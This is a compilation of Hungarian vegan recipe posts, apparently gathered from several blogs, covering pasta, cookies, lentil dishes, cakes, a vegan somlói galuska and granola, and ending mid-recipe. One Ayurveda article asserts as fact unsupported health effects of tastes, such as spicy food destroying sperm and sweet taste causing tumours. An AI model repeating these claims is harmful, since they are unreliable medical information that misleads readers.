Minden héten több alkalommal is kerül tésztás étel az asztalunkra. Kisfiúnk nagy tészta-rajongó. Próbálom tartalmasan elkészíteni. Ez most durum, tojás nélküli (Barilla) tagliatelle-bol készült . És természetesen kb 15 perc alatt elkészült. Hozzávalók:1 konzev Kidney bab 1 fej hagyma3 ek. kókuszolaj /olaj 2 db kaliforniai paprikapetrezselyem, pirospaprika, só, fokhagyma - ízlés szerintgabonakolbász - ízlés szerintElkészítés:Felrakjuk a tésztavizet. Eközben a hagymát (kókusz)olajon megpirítjuk, majd hozzáadjuk a felkockázott kápia vagy kaliforniai paprikát, ezt is kicsit megpirítjuk, pirospaprikázzuk és sózzuk. Ezt követően hozzáöntjük a konzerv babot (levével együtt), egy kevés fokhagymát nyomunk rá, és gabonakolbászt is morzsolunk hozzá. A bab levét nagyjából elfőzzük, majd a kifőtt tésztát beleforgatjuk. Megszórjuk aprított petrezselyemzölddel. Kisfiunk még szokott kérni rá növényi tejfölt is.
Szupergyors vegán mandulakeksz
2021. december 20. Mindennapi ételeink
Igazi téli csemege, ha már unjuk a mézeskalácsot. Ráadásul gluténmentes is, mivel a mandulalisztet nagyon szeretem, ezzel készítettem. Hozzávalók:2 csésze mandulaliszt 1/2 tk. szódabikarbóna1/4 tk. só120 gr mandula/kesudió/dióvaj2 ek. kókuszzsír1/2 cs barnacukor2 ek. méz4 ek. vaníliás mandulatej --20 dkg héj nélküli mandula1/2 doboz (10 dkg) növényi mascarponeElkészítés: A száraz hozzávalókat összekeverjük egy tálban. Egy lábasban a nedves hozzávalókat (mandulavaj, kókuszzsír, méz, mandulatej) kis lángon összeolvasztjuk. Összegyúrjuk a két tál tartalmát és kisebb gombócokat formázunk, kilapítjuk és csillagokat formálunk. Sütőpapírral, fedett tepsibe sorakoztatjuk és 180 fokon kb 7 percig sütjük. Ne pirítsuk túl. A mandulakrémhez az előzetesen 1 éjszakára beáztatott mandulákat aprítógépbe tesszük és kb. 10 percig aprítjuk. Persze, közben sokszor pihentessük a gépet. Akkor jó, amikor jó krémes állagú masszát kapunk. Vaníliás cukorral ízesítjük. Sőt, én most tettem bele egy kevés növényi mascarpone-t is. A kihűlt kekszeket megkenjük és tálaljuk.
Vegán tejszínes vöröslencseragu füstölt tofuval és dióval – egyszerű recept
Bizonyos ételeknek néha egy-egy plusz hozzávaló adja a különlegességét, ami elsőre nem tűnik nagy dobásnak, de mikor megkóstolod mégis emlékezetes marad az ízélmény. Ebben a receptben a dió és a füstölt tofu, ami feldobja a ragut, a tejszíntől pedig krémesebb lesz az eredmény. Hozzávalók: 2 vöröshagyma 3 gerezd fokhagyma (de abból mindig jöhet több!) 250 g vöröslencse 100 g dió (kicsit összetörve) 1 csomag füstölt tofu 1 kis dobozos növényi tejszín (mi kókusztejszínt használtunk) Fűszerek: 1 csipet őrölt gyömbér 1 csipet fahéj 1 csipet őrölt szerecsendió 1 csipet kurkuma 2 tk madras curry só Először a felkockázott hagymát megpirítottam kis olajon. Utána ment hozzá a vöröslencse (nem áztattam be előtte, viszonylag hamar megpuhul) és az összetört dió. Felöntöttem annyi vízzel, hogy éppen ellepje. Fűszereztem (gyömbér, fahéj, szerecsendió, curry, kurkuma, só) és hozzáadtam a növényi tejszínt. A kockázott füstölt tofut a végefelé adtam hozzá, hogy ne főjön teljesen szét, ekkor ment bele a fokhagyma is. Önmagában is nagyon laktató, de rizzsel is finom! Tedd a kedveceim közé 0 The post Vegán tejszínes vöröslencseragu füstölt tofuval és dióval – egyszerű recept appeared first on VegaNinja.
Spenótos vöröslencse curry – egyszerű vegán recept
Egy színes-ízes, viszonylag gyorsan elkészíthető és egészséges vöröslencse curry receptet osztunk most meg, ami vitamindús, gluténmentes és mindezek mellett nagyon finom is. :) Ez a verzió padlizsánnal készült, ami nyugodtan elhagyható, de ad az ételnek egy kis pluszt. Hozzávalók: 1 padlizsán (a negyedére lesz szükség kb.) 200g vöröslencse 1 kisdobozos kókusztejszín ~200ml kb. 6 kocka fagyasztott spenótlevél 1 evőkanál zöld curry paszta (aldiban kapható) gyömbér só, fokhagyma A padlizsánt felkockázva alaposan megsóztam, aztán egy szűrőben hagytam kicsöpögni kb. fél órát, ettől elveszíti a keserű íztét. Utána leöblítettem a padlizsán negyedét (a többiből padlizsánkrém készült, de ha nagyobb adagot szeretnél az egészet is felhasználhatod hozzá) és egy fél fej felkockázott hagymával megpároltam úgy, hogy egy pici vizet adtam hozzá. A hagymát kicsit megsóztam (a padlizsán már alapból sós maradt valamennyire) és kis-közepes lángon fedő alatt párolódni hagytam. Adtam hozzá reszelt gyömbért és egészen addig pároltam, amíg átlátszó színű/állagú nem lett a padlizsán.A vizet mindig pótoltam közben alatta, nehogy leégjen. Hozzáadtam a kókusztejszín felét, a megmosott vöröslencsét és annyi vizet, hogy éppen ellepje, majd így tovább főztem. Kicsit később, mikor kb félig főtt állapotban volt a lencse, hozzaádtam egy kinyomott fokhagymát, a maradék kókusztejszínt és fagyasztott spenótleveleket (friss is lehet!). Fontos, hogy ne spenótpüré legyen, hanem levelek. A legvégén kb. 1 púpos evőkanálnyi zöld curry pasztát tettem hozzá. Barna csiperkés jázminrizzsel tálaltam. (Recept, kép: Vitéz Petra ; Szerk.: Gecse Réka) Tedd a kedveceim közé 0 The post Spenótos vöröslencse curry – egyszerű vegán recept appeared first on VegaNinja.
Mákos szilvalekváros kalács (vegán)
Most amikor a szilvaszezon tart még, sokan főznek szilvalekvárt. Remek alkalom kipróbálni egy kis szilvalekváros-mákos kelt kalácsot. Persze egy próbasütést is végezhetünk karácsony előtt, és ha ízlett a családnak, akkor miért ne készítsünk ilyet akár karácsonyra is. Tej és tojásmentesen készült és nagyon etette magát. A szilvalekvárt különben még korábban erdélyi származású helybéli barátainktól kaptuk. Jó édes lekvár, így a mákhoz nem is kellett keverni semmi cukrot, csak megdarálni és a szilvalekvár tetejére szórni.
A recept
Hozzávalók:
- 20 dkg teljes kiőrlésű liszt
- 30 dkg fehér liszt
- 8 dkg xylit/nyírfa cukor/gyümölcs cukor (ki mivel édesít)
- 7 dkg folyékony kókuszzsír
- 4-5 dl növényi tej
- 2.8 dkg élesztő
- fél kávéskanál só
- pár csepp vanília kivonat
- narancs vagy citromhéj
- szilvalekvár
- darált mák
Elkészítés:
Fontos figyelnünk arra, hogy a konyhában, ahol készítjük a tészát, jó meleg legyen. Ne legyen huzat se.
Az élesztőt a kenyérsütő üstjébe morzsoljuk, és a 8 dkg édesítőszerből egy keveset beleteszünk, majd ráöntjük a felmelegített (kézmeleg) növényi tejet. Megvárjuk, míg az élesztő a tej felszínére kel vagy elegyedik. Ezután hozzáadjuk a többi tejet, cukrot, sót. Ezt követően a teljes kiőrlésű lisztet szórjuk bele, majd a kókuszzsírt, végül a fehér lisztet, vaníliát.
Dagasztó programot választunk. Kenyérsütő gép nélkül mi is összekeverhetjük - a tészta akkor jó, amikor a kézi dagasztás során már elválik az edény falától és hólyagos. Minél több hólyagok keletkeznek a tésztában, annál könnyebb lesz. Ha kézzel dolgozunk, akkor kilisztezett edénybe, konyharuhával letakarva meleg helyen kb. 1 órát pihentetjük, kelesztjük a tésztát. Mielőtt a konyharuhával letakarjuk, a tetejét is szórjuk meg egy kevés liszttel.
A megkelt tésztát 2-3 részre osztjuk és mindegyiket egymás után feldolgozzuk: enyhén lisztezett felületen óvatosan átgyúrjuk, majd kb 0,5 cm-es vastag téglalappá nyújtjuk. Megkenjük a szilvalekvárral majd rászórjuk a reszelt narancs/citromhéjjal elkevert darált mákot. Ha a szilvalekvár nem elég édes, akkor a mákot nem csak reszelt narancs vagy citromhéjjal keverjük el, de adunk hozzá édesítőt (eritritol, xylit vagy gyümölcscukor). Amikor a szilvalekvárral megkentük, majd megszórtuk a mákkal, a hosszabbik oldalától feltekerjük. Sütőpapírral bélelt tepsibe vagy formába tesszük. A tetejét megkenjük növényi tejjel (szerintem a zabtej szuper hozzá), majd előmelegített sütőben 180 fokon kb. 30-40 perc alatt készre sütjük. Ha a teteje nagyon sötétedne, barnulna, elképzelhető, hogy alufóliával érdemes letakarni a sütő idő felénél, hogy ne égjen meg.
Ajánlott megvárni míg kihűl, ugyanis akkor szebb szeleteket tudunk vágni belőle.
Sütőtökös muffin – egyszerű, vegán recept
Amint a nyár őszbe fordul, halaszthatatlan késztetést érzek rá, hogy valamilyen sütőtökös ételt készítsek. Hamarabb kezd sötétedni, jönnek a hűvösebb napok és ilyenkor jólesik valami finomsággal elvonulni, természetesen megfelelő mennyiségű gyertyával és pléddel felszerelkezve. Egyszerűen elkészíthető sütőtökös muffin receptet hoztam, ami nem igényel nehezen beszerezhető összetevőket és az ízesítésénél a kedvenc őszi fűszereiddel kreatívkodhatsz! Amire szükséged lesz (kb. 12 darab muffinhoz): 1 kisebb sütőtök, azaz 1 és fél csésze sütőtök püré 2 csésze liszt (én sima búzafinomlisztet használtam) 1 teáskanál szódabikarbóna 1 teáskanál sütőpor 1 csipet só 1/3 csésze olaj (olíva vagy kókuszolaj-lecserélhető édesítetlen almapürére) 1/3 csésze növényi tej (édesítetlen a legjobb hozzá, én most dm-es rizstejet használtam) 1-2 mokkáskanál vanília őrlemény 3 teáskanál fahéj 2/3 - 3/4 csésze cukor (én nádcukorral készítettem, mennyiség attól függ mennyire vagy édesszájú) opcionális fűszerek, amik illenek az őszi hangulatba: őrölt szerecsendió, őrölt gyömbér, kardamom, kurkuma, őrölt szegfűszeg, őrölt ánizs, őrölt szegfűbors vagy mézeskalács fűszerkeverék jól jön egy botmixer a sütőtök pürésítéséhez! A tököt megpucoltam és felkockáztam. A közepén található trutyit eltávolítottam, ha kedved tartja a magokat félreteheted és sütőpapíron kiterítve megpiríthatod a sütőben, de kevés olajon serpenyőben is működik a trükk - voilá, pirított tökmagod is van, amit elropogtathatsz. A felkockázott sütőtököt bő vízzel feltettem főni, amíg meg nem puhult. Botmixerrel összepürésítettem, kimértem a muffinokhoz elegendő mennyiséget. Ha több püréd lenne a maradékból akár krémlevest is készíthetsz, vagy megduplázhatod a muffin adagot. Egy közepes méretű edényben összekevertem a lisztet, cukrot, szódabikarbónát, sütőport, fahéjat és sót. Hozzáadtam a sütőtökpürét, olajat, vaníliát és a növényi tejet, majd jól elkevertem mindent. A fűszerezésnél nyugodtan elengedheted a fantáziád! Én szeretek őrölt szerecsendiót és őrölt gyömbért hozzáadni, de mézeskalács fűszerkeverékkel sem lehet mellélőni, ez általában tartalmazza a felsoroltakat. Töltsd meg a muffinformáidat (kb 12 darab jön ki belőle), 180 Celsius fokon süsd őket 20-25 percig, fogpiszkálóval ellenőrizheted, hogy a belseje is rendesen megsült-e. Gecse Réka Tedd a kedveceim közé 0 The post Sütőtökös muffin – egyszerű, vegán recept appeared first on VegaNinja.
Duplakókuszos golyó
DUUUUPLAAA?? Mitől dupla? Hát, attól, hogy kívül-belül kókuszos! Mert a kókuszgolyó mindenhogy jó, de duplán kókuszosan a legjobb!
Sőt! Ennél csak egy finomabb dolog van: a duplán kókuszos kókuszgolyó másnap! :D
Csinálj sokat belőle, ez annyira egy hálás nyári édesség, nem kell sem főzni, sem sütni, ráadásul a gyurmázás kész stresszoldó meditáció, és persze a gyerekek is a legnagyobb örömmel vesznek részt benne. :)
Hozzávalók egy lapostényérnyi golyóhoz:
- 150 g darált keksz
- 50 g porcukor
- 40 g kókuszreszelék (10 g a masszába, a maradék a hempergetéshez)
- 1 mk rum aroma
- 1 zacskó vaníliás cukor
- 100 ml növényi tej
- 1,5 ek kakaópor
- 50 g vegán vaj vagy margarin
- A massza száraz hozzávalóit jól keverd el egy tálban. A kókuszreszelékből vedd le a negyedét, és ezt is keverd hozzá.
- Gyúrd össze az egészet növényi tejjel és a margarinnal. A tejet finoman adagold, nehogy túl híg legyen a massza.
- Ezután formázz belőle golyókat, és hempergesd bele a maradék kókuszreszelékbe.
Jó étvágyat!
Elkészítési idő: 10 perc
Nézd meg a legújabb Kertkonyha főzőtanfolyamokat!
Kezdő Vegán
Haladó vegán (Superfood)
Növényi tejtermékek
Görög vegán
Vegán MUST HAVE – a kötelező alapcsomag
Ez egy vegán recept volt. :)
Ha itt feliratkozol , a legújabbakat mindig frissen kapod majd a postaládádba.
The post Duplakókuszos golyó first appeared on Kertkonyha.
Ízek hatása a szervezetedre, testi és lelki állapotodra
2021. június 26. Élj harmóniában
Az ájurvéda az ételeket különleges módon szemléli, mert akárcsak a dhósákat az ételeket is tulajdonságokkal írja le. A különböző tulajdonságok (jellemzők) hatással vannak a testi felépítésünkre, fizikai állapotunkra, általános elme állapotunkra és a tudatosságunkra. A rasa az ájurvédában az egyik legjelentősebb terápiás eszköz.A rasa szó a szanszkrit nyelvben több jelentéssel is bír - íz, egyfajta tapasztalat, lelkesedés, gyümölcslé, plazma (rasa dhatu), lényeg. Az ájurvéda 6 alapvető ízt különböztet meg, ezek mindegyik létfontosságú a testi és mentális egészségünk, belső harmóniánk szempontjából. Az ízek egymással keveredve sokféle kombinációban léteznek és végtelen változatosság által tudják élvezetessé tenni az életünket, étkezéseinket, tapasztalatainkat. Az ájurvéda tudományának alapját az elemek tana képezi. Az 5 fő elem éter, levegő, tűz, víz, föld. Egy adott étel mind az 5 elemet tartalmazza, de általában 2 elem jelentősebb mértékben fordul elő benne - ezek fogják leginkább meghatározni a tulajdonságait.Édes (Madhura) Föld és VízSavanyú (Amla) Föld és TűzSós (Lavana) Víz és TűzCsípős (Kata) Tűz és LevegőKeserű (Tikta) Levegő és FöldFanyar (Kashaja) Levegő és Föld Az egyes ízeket a nyelveden az alábbiak szerint érzékeled: Ízekhez kapcsolódó ájurvédikus fogalmak:Rasa - íz amit az étel elfogyasztásakor először tapasztalsz Virya - hőmérsékletre gyakorolt hatás, hevítő vagy hűsítő. Az íz után kezded érzékelni a szájban vagy akár az egész testben. Pl. chili után meleged lesz. Vipaka - emésztés utáni hatás a testre és a tudatra. Befolyásolja az izzadságot, ürüléket, vizeletet és táplálja a sejteket. Pl. chilis ételt eszel azonnal érzed a csípős ízt, utána megjelenik a hő érzet, majd másnap tapasztalhatsz rossz testszagot, égető érzést a vizeletben. Prabhava - ez egyfajt kiszámíthatatlan, hatása egy adott ételnek. Pl a ghee hűt, de mégis meggyújtja az emésztés tüzét, a méz édes de fűtő hatással rendelkezik.. A kiegyensúlyozott étrend, mind a 6 ízt tartalmazza és az egyéni alkat (prakriti) , aktuális állapot, egyensúlyhiány (vikriti) és az adott egyén környezeti tényezői (pl évszakok) határozzák meg, hogy milyen ízeket hogyan alkalmazzunk. ÉdesFöld+ Víz (jellemzők: olajos, hűsítő és nehéz)Virya: hűsít Vipaka: édesEgyensúlyba hozza Vata-t, Pitta-t és súlyosbítja Kapha-t.Rizs, tej, búza, kukorica, dinnye, datolya, füge, cékla és répa megfőzve, cukkini, mung dhal, vöröslencse, mandula, dió, tökmag, kókusz, ghee, minden édesítőszer kivétel a méz, vanília, édesgyökér.Növeli az életenergiát, erőt, felépítő, tápláló és hosszú életet ad. Élénkíti az érzékeket. Szép bőrt, hajat és hangot biztosít. Megszünteti a testben az égő érzeteket és a szomjúságot.Stabilitást ad és gyógyítja a soványságot. A legszattvikusabb íz, növeli a test ragyogását, erősíti az immunrendszert. Elősegíti szeretet, megosztás, együttérzés, öröm, boldogság érzését. Túlzott használat esetén növeli a kaphát, a zsírt, a hideget, a tompaságot, a nehézségérzetet a testben és elmében, a lustaságot. Elhízást, cukorbetegséget, abnormális izomnövekedést, ödémát, tumort okozhat. Hajlamossá tesz megfázásra, köhögésre. Növeli a ragaszkodást, birtoklást, kapzsiságot. Savanyú Föld+ Tűz (jellemzők: olajos, könnyű, folyékony, forró)Virya: fűt Vipaka: savanyúEgyensúlyba hozza Vata-t és súlyosbítja Pitta-t, Kapha-t.Citrom, grapefruit, lime, zöld szőlő, éretlen gyümölcsök, paradicsom, tészta, kenyér, sajt, tejföl, joghurt, ecet, erjesztett ételek, alkohol, fokhagyma. A savanykás íz étvágyat csinál, segíti az emésztést, javítja az anyagcserét. Energetizálja, frissíti a testet és táplálja a szívet. Nedvesíti a szájat, folyadékokat tart a szövetekben, megszünteti a szárazságot. Segíti az epeáramlást és a máj stagnálását is megszünteti. Felébreszti az elmét. Elősegíti a megértést, megbecsülést.Túlzott használat esetén érzékenységet hoz létre a fogakban, szemekben. Szárítja a nyálkahártyákat, torlódásokat, ödémát, viszketést, túlzott szomjat és emésztési gondokat savasodást, gyomorégést és fekélyt is okozhat. Toxikus a vér számára és bőrelváltozásokat okoz, mintpattanások, pikkelysömör, ekcéma. A forró tulajdonsága miatt savasodik a ph a testben és égő érzést okozhat mellkasban, torokban, szívben, epében és a húgyutakban. Növeli a kritikát, féltékenységet, izgatottságot, gyűlöletet, önzést, hiperaktivitást. SósTűz + Víz (jellemzők: olajos, nehéz, meleg)Virya: fűtVipaka: édesEgyensúlyba hozza Vata-t súlyosbítja Kapha-t, Pitta-t.Kősó, tengeri só, szójaszósz, tamari, zeller, tengeri moszat.Energetizáló, tápláló, erősítő. Hashajtó hatású és oldja a görcsöket a bélrendszerben. Fokozza a nyálkaképződést, javítja az emésztést és a felszívódást. Elősegíti a növekedést, támogatja az izomerőt, nedvesíti a testet, fenntartja a testben az elektrolit egyensúlyt. Földelő, segít az idegrendszert megnyugtatni. Serkentő hatású, megakadályozza a testi és szellemi merevséget, szomorúságot, tompaságot, kreativitás hiányát. Elősegíti a bátorságot, lelkesedést, érdeklődést, magabiztosságot. Túlzott használat esetén a vért besűríti ezzel magas vérnyomást okozhat. Növelheti az ödémát és vízvisszatartást. Savasítja a testet bőrproblémákat, kiütéseket, fekélyeket és kellemetlen hőérzetet hozhat létre. A túlzott sóbevitel ájulást, kopaszodást és ráncosodást is okozhat. Növeli a ragaszkodást, függőségeket, birtoklást, kapzsiságot, ingerlékenységet. CsípősTűz + Levegő (jellemzők: forró, száraz, könnyű, éles)Virya: fűtVipaka: csípősEgyensúlyba hozza Kapha-t és súlyosbítja Vata-t, Pitta-t.Chili, feketebors, fokhagyma, hagyma, retek, hajdina, mustármag, gyömbér, asafoetida.Felmelegíti a testet, tisztítja a szájat, érzékeket, lángra lobbantja az emésztést tüzét (agnit), javítja a felszívódást. A test üregeket is tisztítja - pl arcüreg, orrüreg.A csípős íz nagyon fontos a kapha felesleg eltávolításában, mert felmelegíti és szárítja a nyálkát, zsírt és felszámolja a torlódásokat. Energetikailag serkent, élénkít, növeli a keringést, értágitó hatása van, ösztönzi az izzadást, tisztítja az egész testet. Elpusztítja a baktériumokat és parazitákat is. Elősegíti a lelkesedést, kíváncsiságot, tisztaságot, vitalitást, koncentrációt. Túlzott használat esetén izgatottságot, túlzott aktivitást hozhat létre és idegrendszeri egyensúlyhiányt. Az általa keltett túlzott hő a testben égő érzéseket, bőrpírt, szomjúságot, fáradtságot, emésztési nehézségeket, csuklást, bélgyulladást okozhat. Ha pitta-t emeli okozhat gyomorégést, hányást és hasmenést. Ha vata-t emeli, okozhat remegést, álmatlanságot és fájdalmakat az izmokban. A csípős íz túlzásbavitele elpusztítja spermát és a petesejtet és szexuális gyengeséget okoz mindkét nem számára. Növeli az agressziót, ingerlékenységet, haragot, dühöt, irigységet, versengést. KeserűLevegő + Éter (jellemzők: hideg, könnyű, száraz)Virya: hűsítVipaka: csípősEgyensúlyba hozza Pitta-t , Kapha-t és súlyosbítja Vata-t.Leveles zöldségek pl. káposztafélék, padlizsán, szezámmag, étcsokoládé, kávé, görögszéna, kurkuma, karela.Mélyen tisztítja a testet, megszabadítja az ama-tól és a zsírtól és elpusztítja a baktériumokat. Enyhíti a szomjat és ösztönzi az egészséges étvágyat. Segít tisztítani a testben a vért, a hőt, a májat, beleket. Megszünteti az égő érzést, viszketést, bőrproblémákat és csökkenti a lázat. Elvezeti a testből a felesleges nedvességet. Stimulálja az idegrendszert, a bőr és az izmok tónusát. Elősegíti az epe és a máj működését. Száraz, könnyű tulajdonságával segíti az emésztést, csökkenti a zsírt. Elősegíti az egészséges elszakadást a világi dolgoktól, az önmegfigyelést, világosságot. Túlzott használat esetén szárazságot okoz a szájban, szövetekben és az egész testben. Kiszárítja az ojas-t, a szövetek leépülését, soványságot, gyengeséget okozhat. Kiváltó oka lehet szédülésnek. Növeli a cinizmust, elutasítást, unalmat, elszigeteltséget, magányt. Fanyar (összehúzó)Levegő + Föld - ebből eredően hideg, nehéz, szárazVirya: hűsítVipaka: csípősEgyensúlyba hozza Pitta-t , Kapha-t és súlyosbítja Vata-t.Éretlen banán, gránátalma, okra, borsó, zöldbab, karfiol, legtöbb nyers zöldség, babfélék, oregánó, petrezselyem, rozmaring, kurkuma, sáfrány. Hűsíti és szárítja a testet és az elmét. Összehúzó hatású, megállítja a vérzékenységet. Szárazságot okoz a szájban, csökkenti az izzadást. Elősegíti az egységesség érzését és a stabilitást.Túlzott használat esetén növeli a vata-t. Szárazságot okozhat a szájban és csuklást is. Nehezíti az emésztést, étvágytalanságot, székrekedést, erős szomjúságot, fogyást és emésztési problémákat okozhat. Létrehozhat elakadásokat a hangban, keringésben.Izom és ízületi problémák gyökere is lehet a túl sok fanyar íz (pl arcidegzsába) . Stagnálást okozhat a vérben, nyirokban és lassítja a keringést. Gyengíti a spermát. Növeli félelmet, szorongást, idegességet, szomorúságot, merevséget, neheztelést. Az íz egyfajta tapasztalat, érdemes gazdagítani a saját tapasztalataidat, élvezni az ízek sokszínűségét, figyelni a hatásukat. Ha megismered az ízekkel kapcsolatos ájurvédikus tudást, az ízekkel befolyásolhatod a fizikális és mentális állapotodat. Figyelj rá, hogy egy adott napon, minden íz előforduljon a táplálkozásodban és vedd figyelembe az egyéni alkatodat is. Ez segít abban, hogy az étkezésed nem csak változatos, de egészséges is lesz.Ízekben, élményekben gazdag életet kívánok:) szeretettelKati
Somlói galuska vegán módra
Aki igazán ismer, tudja, hogy a somlói galuska a kedvenc sütim (ha lehet egyátalán sütinek hívni). Mikor még nem vegánul étkeztünk, egyik télen meglehetősen sok somlói galuskát készítettem. Az volt az ajándékom a család tagjainak karácsonyra. Több tálcával készítettem akkor. Karácsony elmúltával pedig szilveszterre is elkészítettem a baráti társaságnak, akikkel együtt töltöttük az évzáró idejét. Most eljött az ideje, hogy a blogon is megosszam a vegán somlói galuska receptjét. Szerintem szuper, hogy nem kell hozzá tojás, sem tej, ízben mégsem marad el a cukrászdákban készített somlóitól. Amúgy annyi módon rakják össze a somlóikat, hogy ahány ház annyi szokás, tapasztalatom szerint. Én is már több módon csináltam. Most egy egyszerűbb verzió receptjét hoztam, ahol nem kell külön megsütni a 3 különböző piskótát. Tuti sikert kínál az ünnepi asztalon, legyen az húsvét vagy karácsony, esküvő, vagy születésnap. Magyarország egyik legkedveltebb édességét vegán módon is elkészíthetjük.
Ha érdekel, honnan ered a somlói galuska, akkor csak a múlt század közepéig kell visszatekinteni. Az 1950-es évek végén a Gundel étterem legendás főpincére, Gollerits Károly újításként adta be a somlói galuskát. Gollerits 16 évig volt a Gundel étterem vezető főpincére, a megvalósítás azonban Szőcs József Béla cukrászmester érdeme volt, aki a Gerbeaud cukrászdában töltött tanulóévek után került a Gundelbe. Az új desszerttel az 1958-as brüsszeli világkiállításon nagy sikerrel és szakmai díj elnyerésével szerepelt. A nevet is ő adta a süteménynek, méghozzá a fóti Somlyó nevű 288 méter magas dombról, amely a Gödöllői-dombság legnyugatibb nyúlványa, amelynek lábánál évtizedek óta élt a közeli Kisalag városrészben, ahol később a saját cukrászdája is működött. Somlói azért lett a neve, mert Brüsszelben valaki véletlenül lehagyta az ipszilont a díjnyertes somlyói-galuska desszert nevéből, így végül somlói-galuska névvel került a gasztronómiába. (Forrás Wikipédia)
A piskóta receptje
Hozzávalók:
- 3x17 dkg fehér liszt
- 3x8 dkg teljes kiőrlésű liszt
- 3x3-4 evőkanál nyírfacukor
- 3x14 evőkanál növényi tej
- 3x2 evőkanál étolaj
- 3x1 kisebb citrom vagy 1 fél narancs kifacsart leve
- 3x1/2 teáskanál szódabikarbóna
Továbbá:
- 2-3 evőkanál kakaópor (vagy karobpor)
- 1-2 dl örölt dió
- kurkuma és vanília
Elkészítés:
A somlói tésztájának az elkészítése történhet úgy, hogy sütünk 3 különböző piskótát (egy kakaós, egy diós és egy vaníliás) piskótát külön külön, vagy - ahogy legutóbb én csináltam - rövidebb idő alatt a három külön kikevert tésztát egymásra folyatva egybe sütjük meg.
A piskóta vagy piskóták elkészítése:
Fogunk egy tálat, összekeverjük benne először a száraz hozzávalókat, majd hozzákanalazzuk a növényi tejet és étolajat és hozzáadjuk a citrom/narancs levét. Csomómentesre keverjük majd egy sütőpapírral bélelt tepsibe öntjük. Előmelegített sütőben kb. 20 percig sütjük. Tűpróbával ellenőrizzük, ha beleszúrjuk a piskóta közepébe, és nem ragad rá, megsült a piskótánk.
Csoki puding:
Hozzávalók:
- 10 dkg kakaópor vagy karobport
- 12 dkg étkezési keményítő (kukorica)
- 5 dl növényi tej (zab vagy szója tej is megteszi)
- 10 dkg édesítő szer mint például erithritol, gyümölcs cukor vagy agavé- vagy juharszirup
- 1 teáskanál vanília-kivonat
Elkészítés:
A tejből kb. 3 dl felteszünk forrni. Közben a kakaóport és az étkezési keményítőt egy nagyobb pohárban vagy mérőedényben a hideg tejjel csomómentesre keverjük. Amikor már szinte forr a növényi tej, folyamatosan keveréssel hozzáadjuk a kikevert keményítős tejet és az édesítő szert. Addig kevergetjük és forraljuk, amíg puding állagúra besűrűsödik.
Vanília puding:
Hozzávalók:
- 12 dkg étkezési keményítő
- 5 dl növényi tej (zab vagy szója tej is megteszi)
- 10 dkg édesítő szer mint például erithritol, gyümölcs cukor vagy agavé- vagy juharszirup
- 2-3 teáskanál vanília-kivonat vagy vanília arom
- csipetnyi kurkuma
Elkészítés:
A tejből kb. 3 dl felteszünk forrni. Közben a kurkumát és az étkezési keményítőt egy nagyobb pohárban vagy mérőedényben a hideg tejjel csomómentesre keverjük. Amikor már szinte forr a növényi tej, folyamatosan keveréssel hozzáadjuk a kikevert keményítős tejet és az édesítő szert. Addig kevergetjük és forraljuk, amíg puding állagúra besűrűsödik. Kurkuma gyönyörű sárgás színt ad a pudingnak, de legyünk óvatosak vele, mert az ízét is megváltoztathatja.
A somlói galuska összeállítása:
A kihűlt piskótát kis darabokra vágjuk, majd egy szép tálban (pl. jénai) egymás mellé helyezve lefektetjük őket. Ezt megöntjük a csokis puding egy részével majd átkeverjük és egy kanállal kissé belenyomkodjuk a tál aljába a pudingos piskóta darabokat. Megszórjuk durvára tört dióva és mazsolával (meggy is jó helyette - akár aszalva, befőtt, fagyasztott). Erre ráöntjük a vanília pudingot és egyenletesen elkenjük. A tetejét megszórjuk kakaó- vagy karob porral.
Tejszínhabbal díszitjük. Már sok helyen kaphatók növényi tejszínek, amelyek alkalmasak hab verésre, számomra még mindig a legegyszerűbb megoldás a konzerves kókusztejet pár órára fagyasztóba tenni vagy egy éjszakára hűtőbe és felrázás nélkül felbontás után a kemény réteget lekanalazni róla és habverővel habbá verni.
A tejszínhab tetejére kakaó/karobpor, édesítő és kevés víz összeforralásából készült öntetet önthetünk. Ez el is maradhat.
A piskótát akár elkészíthetjük napokkal, hetekkel előre és fagyasztóba téve, akkor vesszük elő, amikor a vendégeknek a somlóit el szeretnénk készíteni, hiszen ekkor már csak a pudingokat kell főzni és összeállítani egy tálban. Ha lefagyasztás mellett döntünk, érdemes sütőpapírba csomagolni, majd fagyasztós zacsiba/dobozba tenni. Amikor elővesszük, egyszerűen csak meleg helyen kell tárolni (pl fűtőtest mellett vagy fűtőtesten) és szépen kienged.
Szezámkrémes granola
Ebben a granolában tobzódnak a kalciumok. Kezdve a szezámmagkrémmel, folytatva a datolyával, a mandulával... mind-mind kiemelkedő kalcium-tartalommal bír. Remek reggeli kicsiknek és nagyoknak egyaránt. Hozzávalók: - 30 dkg nagyszemű zabpehely - 15 dkg szeletelt és egész szemes mandula (vágd kis darabokra) vegyesen - 5 dkg napraforgómag - 2 evőkanál kókuszchips (a Lidl-ben szoktam venni, nagyon finom ? ) - szórásnyi fahéj - szórásnyi mézeskalács fűszerkeverék - 5-6 csepp citromolaj (vagy vegyszermentes citrom resztelt héja) - csipet só Nedves összetevő: - 15 dkg datolya - 5 dkg tahini (szezámmagkrém, én a DM-ben vagy a müllerben szoktam venni) - 7 dkg aszalt áfonya vagy más savanykás aszalvány (pl, szilva, sárgabarack) Elkészítése: - A száraz összetevőket egy tálban keverd össze. - A datolyát vágd fel kis darabokra, majd önts rá annyi vizet, amennyi éppen ellepi. - Kb. 1 óra elteltével botixerezd össze. - Keverd hozzá a tahinit. - Az aszalványt vágd fel kis darabokra, majd keverd a datolyás-tahinis öntethez. Hagyd állni úgy 10-15 percet, hogy egy kis nedvességet magához vegyen. (Ne száradjon ki majd a sütés közben). - Előmelegített sütőben 160 fokon mintegy 30-40 perc alatt süsd készre. Közben többször keverd meg (ez azért is fontos, hogy a gőz távozhasson a sütőből). Ne ijedj meg, hogy nedvesnek tűnik, a teljes kihűlés után száraz lesz. - Teljes kihűlés után zárható üvegben tárold.
Raffaello golyók házilag
Alig másfél hónap és itt a karácsony! Tudod már mivel leped meg szeretteidet? Ha kedveled a saját készítésű ajándékokat, készíts raffaello golyókat. Ha azt keresed, milyen kiadós édesség kerüljün az ünnepi asztalra, akkor szintén azt ajánlom, készíts raffaello golyókat. Tömény kókuszos élvezet, közepén egy szem mandula. Vegán, gluténmentes, cukormentes (ha cukor helyett mással édseíted), nyers, paleo. Mi kell még? Én tudom, hogy valaki gyors megcsinálja és megehessük. :)
A recept
Hozzávalók:
- 2 konzerv kókusztej - egy konzerv 400 g (Angliában Lidlben kapható, Magyarországon nagy Tescoban, Auchanban, ázsiai üzletekben)
